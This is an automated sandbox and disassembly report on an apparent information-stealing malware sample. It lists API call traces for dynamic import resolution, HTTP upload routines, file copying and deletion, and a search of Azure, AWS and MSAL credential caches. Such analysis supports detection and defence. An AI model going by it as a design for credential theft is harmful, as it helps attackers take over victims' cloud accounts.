GetProcAddress.KERNEL32(76210000,00F73D18), ref: 004193D5
GetProcAddress.KERNEL32(76210000,00F6F4B0), ref: 004193EE
GetProcAddress.KERNEL32(76210000,00F6F2E8), ref: 00419406
GetProcAddress.KERNEL32(76210000,00F73D78), ref: 0041941E
GetProcAddress.KERNEL32(76210000,00F6F2A0), ref: 00419437
GetProcAddress.KERNEL32(76210000,00F6F2B8), ref: 0041944F
GetProcAddress.KERNEL32(76210000,00F73D98), ref: 00419467
GetProcAddress.KERNEL32(76210000,00F6F2D0), ref: 00419480
GetProcAddress.KERNEL32(76210000,00F73DD8), ref: 00419498
LoadLibraryA.KERNEL32(00F6F318,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(00F6F348,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(00F6F390,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(00F6F3C0,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(00F6CB60,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75B30000,00F7A6D8), ref: 00419512
GetProcAddress.KERNEL32(751E0000,00F7A660), ref: 00419533
GetProcAddress.KERNEL32(751E0000,00F7A900), ref: 0041954B
GetProcAddress.KERNEL32(76910000,00F7A930), ref: 0041956D
GetProcAddress.KERNEL32(75670000,00F73B78), ref: 0041958E
GetProcAddress.KERNEL32(77310000,00F74D08), ref: 004195AF
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,00F83C20), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,00F83BA0,?,00F82B98,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,00F83C50,00000000,?,00F83028,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
RtlAllocateHeap.NTDLL(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 0040568B
", xrefs: 00405756
------, xrefs: 00405407
------, xrefs: 004052E7
", xrefs: 004054D2
", xrefs: 00405614
------, xrefs: 00405549
--, xrefs: 004052D0

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 531033480-2774362122
Opcode ID: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: 70537bace420e2a1052e3b4a7504a93ca2a222b1397ba71bd35296624ac71811
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,00F83C20), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00F83AE0,00000000,?,00F83028,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,00F83BA0,?,00F82B98,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

XA, xrefs: 004060CA
", xrefs: 00405E66
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
", xrefs: 00405D25
------, xrefs: 00405AE6
------, xrefs: 00405D9C
------, xrefs: 00405C5B

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00F7ABE0,00F7AAC0), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00F82ED8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00F824B0,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00F7AA50,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00F7ACC0), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

Azure\.aws, xrefs: 0041493F
\.IdentityService\, xrefs: 004149B9
msal.cache, xrefs: 004149D0
Azure\.IdentityService, xrefs: 004149CB
\.azure\, xrefs: 004148A1
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.aws\, xrefs: 0041492D
Azure\.azure, xrefs: 004148B3
*.*, xrefs: 004148B8
*.*, xrefs: 00414944

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 119bee4012b50d53810d25ee449bf11495158d20ea5a39e276b6011887ba47b7
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 119bee4012b50d53810d25ee449bf11495158d20ea5a39e276b6011887ba47b7
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,00F83C20), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,00F83B20), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,00F83BA0,?,00F82B98,00000000,00000000,00400100,00000000), ref: 00404B65

